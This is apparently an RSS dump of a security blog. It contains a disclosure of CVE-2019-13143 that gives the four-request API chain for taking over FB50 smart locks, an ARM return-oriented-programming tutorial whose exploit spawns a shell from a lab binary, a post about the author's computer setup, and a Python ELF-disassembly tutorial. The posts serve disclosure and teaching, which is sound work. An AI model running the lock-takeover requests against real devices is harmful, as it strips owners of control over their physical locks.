icyphox's blog https://icyphox.sh/blog/ Security, forensics and privacy. icyphox logo https://icyphox.sh/icyphox.png https://icyphox.sh/blog/ en-us Creative Commons BY-NC-SA 4.0 Picking the FB50 smart lock (CVE-2019-13143)(originally posted at SecureLayer7’s Blog, with my edits)

The lock

The lock in question is the FB50 smart lock, manufactured by Shenzhen Dragon Brother Technology Co. Ltd. This lock is sold under multiple brands across many ecommerce sites, and has over, an estimated, 15k+ users.

The lock pairs to a phone via Bluetooth, and requires the OKLOK app from the Play/App Store to function. The app requires the user to create an account before further functionality is available. It also facilitates configuring the fingerprint, and unlocking from a range via Bluetooth.

We had two primary attack surfaces we decided to tackle — Bluetooth (BLE) and the Android app.

Via Bluetooth Low Energy (BLE)

Android phones have the ability to capture Bluetooth (HCI) traffic which can be enabled under Developer Options under Settings. We made around 4 “unlocks” from the Android phone, as seen in the screenshot.

wireshark packets

This is the value sent in the Write request:

wireshark write req

We attempted replaying these requests using gattool and gattacker, but that didn’t pan out, since the value being written was encrypted.1

Via the Android app

Reversing the app using jd-gui, apktool and dex2jar didn’t get us too far since most of it was obfuscated. Why bother when there exists an easier approach – BurpSuite.

We captured and played around with a bunch of requests and responses, and finally arrived at a working exploit chain.

The exploit

The entire exploit is a 4 step process consisting of authenticated HTTP requests:

  1. Using the lock’s MAC (obtained via a simple Bluetooth scan in the vicinity), get the barcode and lock ID
  2. Using the barcode, fetch the user ID
  3. Using the lock ID and user ID, unbind the user from the lock
  4. Provide a new name, attacker’s user ID and the MAC to bind the attacker to the lock

This is what it looks like, in essence (personal info redacted).

Request 1

POST /oklock/lock/queryDevice
{"mac":"XX:XX:XX:XX:XX:XX"}

Response:

{
   "result":{
      "alarm":0,
      "barcode":"<BARCODE>",
      "chipType":"1",
      "createAt":"2019-05-14 09:32:23.0",
      "deviceId":"",
      "electricity":"95",
      "firmwareVersion":"2.3",
      "gsmVersion":"",
      "id":<LOCK ID>,
      "isLock":0,
      "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",
      "lockPwd":"000000",
      "mac":"XX:XX:XX:XX:XX:XX",
      "name":"lock",
      "radioName":"BlueFPL",
      "type":0
   },
   "status":"2000"
}

Request 2

POST /oklock/lock/getDeviceInfo

{"barcode":"https://app.oklok.com.cn/app.html?id=<BARCODE>"}

Response:

   "result":{
      "account":"email@some.website",
      "alarm":0,
      "barcode":"<BARCODE>",
      "chipType":"1",
      "createAt":"2019-05-14 09:32:23.0",
      "deviceId":"",
      "electricity":"95",
      "firmwareVersion":"2.3",
      "gsmVersion":"",
      "id":<LOCK ID>,
      "isLock":0,
      "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",
      "lockPwd":"000000",
      "mac":"XX:XX:XX:XX:XX:XX",
      "name":"lock",
      "radioName":"BlueFPL",
      "type":0,
      "userId":<USER ID>
   }

Request 3

POST /oklock/lock/unbind

{"lockId":"<LOCK ID>","userId":<USER ID>}

Request 4

POST /oklock/lock/bind

{"name":"newname","userId":<USER ID>,"mac":"XX:XX:XX:XX:XX:XX"}

That’s it! (& the scary stuff)

You should have the lock transferred to your account. The severity of this issue lies in the fact that the original owner completely loses access to their lock. They can’t even “rebind” to get it back, since the current owner (the attacker) needs to authorize that.

To add to that, roughly 15,000 user accounts’ info are exposed via IDOR. Ilja, a cool dude I met on Telegram, noticed locks named “carlock”, “garage”, “MainDoor”, etc.2 This is terrifying.

shudders

Proof of Concept

PoC Video

Exploit code

Disclosure timeline

  • 26th June, 2019: Issue discovered at SecureLayer7, Pune
  • 27th June, 2019: Vendor notified about the issue
  • 2nd July, 2019: CVE-2019-13143 reserved
  • No response from vendor
  • 2nd August 2019: Public disclosure

Lessons learnt

DO NOT. Ever. Buy. A smart lock. You’re better off with the “dumb” ones with keys. With the IoT plague spreading, it brings in a large attack surface to things that were otherwise “unhackable” (try hacking a “dumb” toaster).

The IoT security scene is rife with bugs from over 10 years ago, like executable stack segments3, hardcoded keys, and poor development practices in general.

Our existing threat models and scenarios have to be updated to factor in these new exploitation possibilities. This also broadens the playing field for cyber warfare and mass surveillance campaigns.

Researcher info

This research was done at SecureLayer7, Pune, IN by:


  1. This article discusses a similar smart lock, but they broke the encryption. 

  2. Thanks to Ilja Shaposhnikov (@drakylar). 

  3. PDF 

]]>
https://icyphox.sh/blog/fb50Mon, 05 Aug 2019 00:00:00 +0000https://icyphox.sh/blog/fb50
Return Oriented Programming on ARM (32-bit)Before we start anything, you’re expected to know the basics of ARM assembly to follow along. I highly recommend Azeria’s series on ARM Assembly Basics. Once you’re comfortable with it, proceed with the next bit — environment setup.

Setup

Since we’re working with the ARM architecture, there are two options to go forth with:

  1. Emulate — head over to qemu.org/download and install QEMU. And then download and extract the ARMv6 Debian Stretch image from one of the links here. The scripts found inside should be self-explanatory.
  2. Use actual ARM hardware, like an RPi.

For debugging and disassembling, we’ll be using plain old gdb, but you may use radare2, IDA or anything else, really. All of which can be trivially installed.

And for the sake of simplicity, disable ASLR:

$ echo 0 > /proc/sys/kernel/randomize_va_space

Finally, the binary we’ll be using in this exercise is Billy Ellis’ roplevel2.

Compile it:

$ gcc roplevel2.c -o rop2

With that out of the way, here’s a quick run down of what ROP actually is.

A primer on ROP

ROP or Return Oriented Programming is a modern exploitation technique that’s used to bypass protections like the NX bit (no-execute bit) and code sigining. In essence, no code in the binary is actually modified and the entire exploit is crafted out of pre-existing artifacts within the binary, known as gadgets.

A gadget is essentially a small sequence of code (instructions), ending with a ret, or a return instruction. In our case, since we’re dealing with ARM code, there is no ret instruction but rather a pop {pc} or a bx lr. These gadgets are chained together by jumping (returning) from one onto the other to form what’s called as a ropchain. At the end of a ropchain, there’s generally a call to system(), to acheive code execution.

In practice, the process of executing a ropchain is something like this:

  • confirm the existence of a stack-based buffer overflow
  • identify the offset at which the instruction pointer gets overwritten
  • locate the addresses of the gadgets you wish to use
  • craft your input keeping in mind the stack’s layout, and chain the addresses of your gadgets

LiveOverflow has a beautiful video where he explains ROP using “weird machines”. Check it out, it might be just what you needed for that “aha!” moment :)

Still don’t get it? Don’t fret, we’ll look at actual exploit code in a bit and hopefully that should put things into perspective.

Exploring our binary

Start by running it, and entering any arbitrary string. On entering a fairly large string, say, “A” × 20, we see a segmentation fault occur.

string and segfault

Now, open it up in gdb and look at the functions inside it.

gdb functions

There are three functions that are of importance here, main, winner and gadget. Disassembling the main function:

gdb main disassembly

We see a buffer of 16 bytes being created (sub sp, sp, #16), and some calls to puts()/printf() and scanf(). Looks like winner and gadget are never actually called.

Disassembling the gadget function:

gdb gadget disassembly

This is fairly simple, the stack is being initialized by pushing {r11}, which is also the frame pointer (fp). What’s interesting is the pop {r0, pc} instruction in the middle. This is a gadget.

We can use this to control what goes into r0 and pc. Unlike in x86 where arguments to functions are passed on the stack, in ARM the registers r0 to r3 are used for this. So this gadget effectively allows us to pass arguments to functions using r0, and subsequently jumping to them by passing its address in pc. Neat.

Moving on to the disassembly of the winner function:

gdb winner disassembly

Here, we see a calls to puts(), system() and finally, exit(). So our end goal here is to, quite obviously, execute code via the system() function.

Now that we have an overview of what’s in the binary, let’s formulate a method of exploitation by messing around with inputs.

Messing around with inputs :^)

Back to gdb, hit r to run and pass in a patterned input, like in the screenshot.

gdb info reg post segfault

We hit a segfault because of invalid memory at address 0x46464646. Notice the pc has been overwritten with our input. So we smashed the stack alright, but more importantly, it’s at the letter ‘F’.

Since we know the offset at which the pc gets overwritten, we can now control program execution flow. Let’s try jumping to the winner function.

Disassemble winner again using disas winner and note down the offset of the second instruction — add r11, sp, #4. For this, we’ll use Python to print our input string replacing FFFF with the address of winner. Note the endianness.

$ python -c 'print("AAAABBBBCCCCDDDDEEEE\x28\x05\x01\x00")' | ./rop2

jump to winner

The reason we don’t jump to the first instruction is because we want to control the stack ourselves. If we allow push {rll, lr} (first instruction) to occur, the program will pop those out after winner is done executing and we will no longer control where it jumps to.

So that didn’t do much, just prints out a string “Nothing much here…”. But it does however, contain system(). Which somehow needs to be populated with an argument to do what we want (run a command, execute a shell, etc.).

To do that, we’ll follow a multi-step process:

  1. Jump to the address of gadget, again the 2nd instruction. This will pop r0 and pc.
  2. Push our command to be executed, say “/bin/sh” onto the stack. This will go into r0.
  3. Then, push the address of system(). And this will go into pc.

The pseudo-code is something like this:

string = AAAABBBBCCCCDDDDEEEE
gadget = # addr of gadget
binsh  = # addr of /bin/sh
system = # addr of system()

print(string + gadget + binsh + system)

Clean and mean.

The exploit

To write the exploit, we’ll use Python and the absolute godsend of a library — struct. It allows us to pack the bytes of addresses to the endianness of our choice. It probably does a lot more, but who cares.

Let’s start by fetching the address of /bin/sh. In gdb, set a breakpoint at main, hit r to run, and search the entire address space for the string “/bin/sh”:

(gdb) find &system, +9999999, "/bin/sh"

gdb finding /bin/sh

One hit at 0xb6f85588. The addresses of gadget and system() can be found from the disassmblies from earlier. Here’s the final exploit code:

import struct

binsh = struct.pack("I", 0xb6f85588)
string = "AAAABBBBCCCCDDDDEEEE"
gadget = struct.pack("I", 0x00010550)
system = struct.pack("I", 0x00010538)

print(string + gadget + binsh + system)

Honestly, not too far off from our pseudo-code :)

Let’s see it in action:

the shell!

Notice that it doesn’t work the first time, and this is because /bin/sh terminates when the pipe closes, since there’s no input coming in from STDIN. To get around this, we use cat(1) which allows us to relay input through it to the shell. Nifty trick.

Conclusion

This was a fairly basic challenge, with everything laid out conveniently. Actual ropchaining is a little more involved, with a lot more gadgets to be chained to acheive code execution.

Hopefully, I’ll get around to writing about heap exploitation on ARM too. That’s all for now.

]]>
https://icyphox.sh/blog/rop-on-armThu, 06 Jun 2019 00:00:00 +0000https://icyphox.sh/blog/rop-on-arm
My SetupHardware

The only computer I have with me is my HP Envy 13 (2018) (my model looks a little different). It’s a 13” ultrabook, with an i5 8250u, 8 gigs of RAM and a 256 GB NVMe SSD. It’s a very comfy machine that does everything I need it to.

For my phone, I use a OnePlus 6T, running stock OxygenOS. As of this writing, its bootloader hasn’t been unlocked and nor has the device been rooted. I’m also a proud owner of a Nexus 5, which I really wish Google rebooted. It’s surprisingly still usable and runs Android Pie, although the SIM slot is ruined and the battery backup is abysmal.

My watch is a Samsung Gear S3 Frontier. Tizen is definitely better than Android Wear.

My keyboard, although not with me in college, is a very old Dell SK-8110. For the little bit of gaming that I do, I use a HP m150 gaming mouse. It’s the perfect size (and color).

For my music, I use the Bose SoundLink II. Great pair of headphones, although the ear cups need replacing.

And the software

My distro of choice for the past ~1 year has been elementary OS. I used to be an Arch Linux elitist, complete with an esoteric window manager, all riced. I now use whatever JustWorks™.

Update: As of June 2019, I’ve switched over to a vanilla Debian 9 Stretch install, running i3 as my window manager. If you want, you can dig through my configs at my dotfiles repo.

Here’s a (riced) screenshot of my desktop.

scrot

Most of my work is done in either the browser, or the terminal. My shell is pure zsh, as in no plugin frameworks. It’s customized using built-in zsh functions. Yes, you don’t actually need a framework. It’s useless bloat. The prompt itself is generated using a framework I built in Nimnicy. My primary text editor is nvim. Again, all configs in my dotfiles repo linked above. I manage all my passwords using pass(1), and I use rofi-pass to access them via rofi.

Most of my security tooling is typically run via a Kali Linux docker container. This is convenient for many reasons, keeps your global namespace clean and a single command to drop into a Kali shell.

I use a DigitalOcean droplet (BLR1) as a public filehost, found at x.icyphox.sh. The UI is the wonderful serve, by ZEIT. The same box also serves as my IRC bouncer and OpenVPN (TCP), which I tunnel via SSH running on 443. Campus firewall woes.

I plan on converting my desktop back at home into a homeserver setup. Soon™.

]]>
https://icyphox.sh/blog/my-setupMon, 13 May 2019 00:00:00 +0000https://icyphox.sh/blog/my-setup
Python for Reverse Engineering #1: ELF BinariesWhile solving complex reversing challenges, we often use established tools like radare2 or IDA for disassembling and debugging. But there are times when you need to dig in a little deeper and understand how things work under the hood.

Rolling your own disassembly scripts can be immensely helpful when it comes to automating certain processes, and eventually build your own homebrew reversing toolchain of sorts. At least, that’s what I’m attempting anyway.

Setup

As the title suggests, you’re going to need a Python 3 interpreter before anything else. Once you’ve confirmed beyond reasonable doubt that you do, in fact, have a Python 3 interpreter installed on your system, run

$ pip install capstone pyelftools

where capstone is the disassembly engine we’ll be scripting with and pyelftools to help parse ELF files.

With that out of the way, let’s start with an example of a basic reversing challenge.

/* chall.c */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main() {
   char *pw = malloc(9);
   pw[0] = 'a';
   for(int i = 1; i <= 8; i++){
       pw[i] = pw[i - 1] + 1;
   }
   pw[9] = '\0';
   char *in = malloc(10);
   printf("password: ");
   fgets(in, 10, stdin);        // 'abcdefghi'
   if(strcmp(in, pw) == 0) {
       printf("haha yes!\n");
   }
   else {
       printf("nah dude\n");
   }
}

Compile it with GCC/Clang:

$ gcc chall.c -o chall.elf

Scripting

For starters, let’s look at the different sections present in the binary.

# sections.py

from elftools.elf.elffile import ELFFile

with open('./chall.elf', 'rb') as f:
    e = ELFFile(f)
    for section in e.iter_sections():
        print(hex(section['sh_addr']), section.name)

This script iterates through all the sections and also shows us where it’s loaded. This will be pretty useful later. Running it gives us

› python sections.py
0x238 .interp
0x254 .note.ABI-tag
0x274 .note.gnu.build-id
0x298 .gnu.hash
0x2c0 .dynsym
0x3e0 .dynstr
0x484 .gnu.version
0x4a0 .gnu.version_r
0x4c0 .rela.dyn
0x598 .rela.plt
0x610 .init
0x630 .plt
0x690 .plt.got
0x6a0 .text
0x8f4 .fini
0x900 .rodata
0x924 .eh_frame_hdr
0x960 .eh_frame
0x200d98 .init_array
0x200da0 .fini_array
0x200da8 .dynamic
0x200f98 .got
0x201000 .data
0x201010 .bss
0x0 .comment
0x0 .symtab
0x0 .strtab
0x0 .shstrtab

Most of these aren’t relevant to us, but a few sections here are to be noted. The .text section contains the instructions (opcodes) that we’re after. The .data section should have strings and constants initialized at compile time. Finally, the .plt which is the Procedure Linkage Table and the .got, the Global Offset Table. If you’re unsure about what these mean, read up on the ELF format and its internals.

Since we know that the .text section has the opcodes, let’s disassemble the binary starting at that address.

# disas1.py

from elftools.elf.elffile import ELFFile
from capstone import *

with open('./bin.elf', 'rb') as f:
    elf = ELFFile(f)
    code = elf.get_section_by_name('.text')
    ops = code.data()
    addr = code['sh_addr']
    md = Cs(CS_ARCH_X86, CS_MODE_64)
    for i in md.disasm(ops, addr):        
        print(f'0x{i.address:x}:\t{i.mnemonic}\t{i.op_str}')

The code is fairly straightforward (I think). We should be seeing this, on running

› python disas1.py | less      
0x6a0: xor ebp, ebp
0x6a2: mov r9, rdx
0x6a5: pop rsi
0x6a6: mov rdx, rsp
0x6a9: and rsp, 0xfffffffffffffff0
0x6ad: push rax
0x6ae: push rsp
0x6af: lea r8, [rip + 0x23a]
0x6b6: lea rcx, [rip + 0x1c3]
0x6bd: lea rdi, [rip + 0xe6]
**0x6c4: call qword ptr [rip + 0x200916]**
0x6ca: hlt
... snip ...

The line in bold is fairly interesting to us. The address at [rip + 0x200916] is equivalent to [0x6ca + 0x200916], which in turn evaluates to 0x200fe0. The first call being made to a function at 0x200fe0? What could this function be?

For this, we will have to look at relocations. Quoting linuxbase.org

Relocation is the process of connecting symbolic references with symbolic definitions. For example, when a program calls a function, the associated call instruction must transfer control to the proper destination address at execution. Relocatable files must have “relocation entries’’ which are necessary because they contain information that describes how to modify their section contents, thus allowing executable and shared object files to hold the right information for a process’s program image.

To try and find these relocation entries, we write a third script.

# relocations.py

import sys
from elftools.elf.elffile import ELFFile
from elftools.elf.relocation import RelocationSection

with open('./chall.elf', 'rb') as f:
    e = ELFFile(f)
    for section in e.iter_sections():
        if isinstance(section, RelocationSection):
            print(f'{section.name}:')
            symbol_table = e.get_section(section['sh_link'])
            for relocation in section.iter_relocations():
                symbol = symbol_table.get_symbol(relocation['r_info_sym'])
                addr = hex(relocation['r_offset'])
                print(f'{symbol.name} {addr}')

Let’s run through this code real quick. We first loop through the sections, and check if it’s of the type RelocationSection. We then iterate through the relocations from the symbol table for each section. Finally, running this gives us

› python relocations.py
.rela.dyn:
 0x200d98
 0x200da0
 0x201008
_ITM_deregisterTMCloneTable 0x200fd8
**__libc_start_main 0x200fe0**
__gmon_start__ 0x200fe8
_ITM_registerTMCloneTable 0x200ff0
__cxa_finalize 0x200ff8
stdin 0x201010
.rela.plt:
puts 0x200fb0
printf 0x200fb8
fgets 0x200fc0
strcmp 0x200fc8
malloc 0x200fd0

Remember the function call at 0x200fe0 from earlier? Yep, so that was a call to the well known __libc_start_main. Again, according to linuxbase.org

The __libc_start_main() function shall perform any necessary initialization of the execution environment, call the main function with appropriate arguments, and handle the return from main(). If the main() function returns, the return value shall be passed to the exit() function.

And its definition is like so

int __libc_start_main(int *(main) (int, char * *, char * *), 
int argc, char * * ubp_av, 
void (*init) (void), 
void (*fini) (void), 
void (*rtld_fini) (void), 
void (* stack_end));

Looking back at our disassembly

0x6a0: xor ebp, ebp
0x6a2: mov r9, rdx
0x6a5: pop rsi
0x6a6: mov rdx, rsp
0x6a9: and rsp, 0xfffffffffffffff0
0x6ad: push rax
0x6ae: push rsp
0x6af: lea r8, [rip + 0x23a]
0x6b6: lea rcx, [rip + 0x1c3]
**0x6bd: lea rdi, [rip + 0xe6]**
0x6c4: call qword ptr [rip + 0x200916]
0x6ca: hlt
... snip ...

but this time, at the lea or Load Effective Address instruction, which loads some address [rip + 0xe6] into the rdi register. [rip + 0xe6] evaluates to 0x7aa which happens to be the address of our main() function! How do I know that? Because __libc_start_main(), after doing whatever it does, eventually jumps to the function at rdi, which is generally the main() function. It looks something like this

To see the disassembly of main, seek to 0x7aa in the output of the script we’d written earlier (disas1.py).

From what we discovered earlier, each call instruction points to some function which we can see from the relocation entries. So following each call into their relocations gives us this

printf 0x650
fgets  0x660
strcmp 0x670
malloc 0x680

Putting all this together, things start falling into place. Let me highlight the key sections of the disassembly here. It’s pretty self-explanatory.

0x7b2: mov edi, 0xa  ; 10
0x7b7: call 0x680    ; malloc

The loop to populate the *pw string

0x7d0:  mov     eax, dword ptr [rbp - 0x14]
0x7d3:  cdqe    
0x7d5:  lea     rdx, [rax - 1]
0x7d9:  mov     rax, qword ptr [rbp - 0x10]
0x7dd:  add     rax, rdx
0x7e0:  movzx   eax, byte ptr [rax]
0x7e3:  lea     ecx, [rax + 1]
0x7e6:  mov     eax, dword ptr [rbp - 0x14]
0x7e9:  movsxd  rdx, eax
0x7ec:  mov     rax, qword ptr [rbp - 0x10]
0x7f0:  add     rax, rdx
0x7f3:  mov     edx, ecx
0x7f5:  mov     byte ptr [rax], dl
0x7f7:  add     dword ptr [rbp - 0x14], 1
0x7fb:  cmp     dword ptr [rbp - 0x14], 8
0x7ff:  jle     0x7d0

And this looks like our strcmp()

0x843:  mov     rdx, qword ptr [rbp - 0x10] ; *in
0x847:  mov     rax, qword ptr [rbp - 8]    ; *pw
0x84b:  mov     rsi, rdx             
0x84e:  mov     rdi, rax
0x851:  call    0x670                       ; strcmp  
0x856:  test    eax, eax                    ; is = 0? 
0x858:  jne     0x868                       ; no? jump to 0x868
0x85a:  lea     rdi, [rip + 0xae]           ; "haha yes!" 
0x861:  call    0x640                       ; puts
0x866:  jmp     0x874
0x868:  lea     rdi, [rip + 0xaa]           ; "nah dude"
0x86f:  call    0x640                       ; puts  

I’m not sure why it uses puts here? I might be missing something; perhaps printf calls puts. I could be wrong. I also confirmed with radare2 that those locations are actually the strings “haha yes!” and “nah dude”.

Update: It’s because of compiler optimization. A printf() (in this case) is seen as a bit overkill, and hence gets simplified to a puts().

Conclusion

Wew, that took quite some time. But we’re done. If you’re a beginner, you might find this extremely confusing, or probably didn’t even understand what was going on. And that’s okay. Building an intuition for reading and grokking disassembly comes with practice. I’m no good at it either.

All the code used in this post is here: https://github.com/icyphox/asdf/tree/master/reversing-elf

Ciao for now, and I’ll see ya in #2 of this series — PE binaries. Whenever that is.

]]>
https://icyphox.sh/blog/python-for-re-1Fri, 08 Feb 2019 00:00:00 +0000https://icyphox.sh/blog/python-for-re-1